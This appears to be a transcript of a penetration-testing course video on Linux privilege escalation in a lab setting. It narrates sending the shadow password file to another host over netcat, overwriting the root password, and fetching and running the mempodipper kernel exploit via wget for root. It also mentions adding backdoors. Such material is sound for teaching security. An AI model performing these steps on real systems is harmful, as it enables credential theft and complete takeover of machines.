So I can now get all of the user's passwords on the system.
I could subject the root password through john,
try some privilege escalation attacks that way,
or I could simply overwrite the root user's password
with my own password.
Let's say, I'll change it to the password of admin
and simply use su.
So let's do that.
I'll do vim etc.
In fact, I don't know whether I should do vim.
We'll try.
No, vim was a terrible idea, as we don't
have the relevant key mappings.
So we are still back on that system.
OK, so what I'll do then is, perhaps,
copy the shadow file off this host.
I'll enable a listening service.
Actually I'll copy it the other way.
I will listen on this host.
nc -v -l -p80.
I'll send that file there output to the file shadow.
So I'm going to transfer file with netcat again.
So I'm going to net cat to that host on port 80,
and I'm going to send it the contents of the shadow file.
Once I've sent it the contents of the shadow file,
I will be able to delete that, open the shadow file,
take that root user account password,
swap it for the admin password, and then I'll
do the reverse again, this time sending
the file into the netcat.
So that when someone connects to me,
I will send the file back that way.
You can see these triangular arrows denote which
direction the file is going.
So once my connection is done, you simply cat /tmp/shadow.
If I was to then cp /etc/shadow /tmp/backup,
and I'll copy tmp/shadow over the system shadow file, su,
type admin, and I'm now root on the system.
So then I would simply remove tmp/backup, send my tmp/backup
back, set the user's password back,
and I can now start adding backdoors or doing
my post-exploitation operations, since we've
elevated privileges using using an user-line escalation.
User line privilege escalations are
binaries in the system that aren't kernel,
or they're running within the context of the user.
They are much safer options to choose
for privilege escalation.
If you can have the option of using user-line privilege
escalation, it's always advisable to seek that route
first before attempting to escalate privileges
through, perhaps, kernel vulnerabilities.
Kernel vulnerabilities can be notoriously unstable.
They can cause boxes to reboot.
They can cause complication issues.
So if you run exploits like that on a mission critical system,
you might want to just ensure that you're not
going to crash it, or, at least, validate that the exploit is
reliable first.
So we've seen one example of an exploit there.
Again, we can see if we do uname -a,
we can simply search through searchploit for Linux kernel
vulnerabilities that are applicable to this operating
system.
And digging through these, we should
find that there's also a mempodipper
vulnerability, which this host is vulnerable to.
If you try to exploit Dirty COW on this host,
it should fail, as we broke the exploit on this module.
So if we were to then download mempodipper32,
mem-po-dipper maybe?
OK, I'll just need to check what's in the stuff directory.
Static. hacker.house.stuff, and we can see there mempodipper32.
So if we just simply copy that link location.
wget it.
I always type in the wrong URL.
So here you can see we've got another statically-compiled
32-bit binary.
You can get the source code from there as well.
And then we can simply send that exploit to that server.
And we're going to use python -m SimpleHTTPServer.
I'm just going to start a web service on my computer.
And from the remote computer, I'm going to go to tmp/x,
and then I'm going to wget that exploit.
I forgot the port number.
So now I've got that exploit saved on this host.
I'll exit the shell.
I'm back in my low-privilege shell.
I'll go back to the one that's been the environment set up
correctly.
I'm coming back on this host now.
If I was to set chmod +x mempodipper32.
Oh, I can't actually chmod it.
So I'll just I'll have to re-download it again,
because it's not got the right permissions.
We'll cover Unix permissions in om a later module,
in the Unix module.
So we're going to do wget 14.80000 mempodipper32.
chmod +x mempodipper32.1.
And providing you've got a teletype interface,
and you've set up your shell correctly,
simply typing mempodipper32.1, you can see now that that
exploit will run and give us su with root permissions almost
immediately.
So that's how you produce a kernel-line vulnerability
or an user-space vulnerability to escalate your privileges
and how you could seek for those kind of missing patches,
in general.
There are various scripts, Linux_ exploit_suggester,
and others, which could offer some insight to doing those.
But it is important to try and learn how to do some of this
manually.
So that concludes the practical demonstrations
for our VPN module.
The practical assessment for this
is to effectively to do those attacks,
to breach the VPN service, to negotiate handshakes,
to extract the pre-shared key, to compromise
that open VPN endpoint using command injection, to bypass
authentication or enumerate users with LDAP injection,
perhaps could exploit command injection on one of those apps.
And then I want you to be root as well
and to escalate privileges to root
using any number of the exploits that you saw.
And that should hopefully set you in good stead.
But the main takeaway is to understand that enumeration
process.
Try to ensure that you're comfortable with handshaking
and trying to connect to a VPN.
And don't forget if you're using statically-linked versions
of OpenVPN with the latest OpenSSL libraries
that you won't have support for connecting to some VPN
services, because the later versions of SSL libraries
have been patched to disable legacy ciphers and legacy
cipher suites.
So you will maybe need to downgrade
when you are hacking these kinds of services.
So thank you very much for taking the time
to complete this module, and I look forward
to seeing you in the next one.
[MUSIC PLAYING]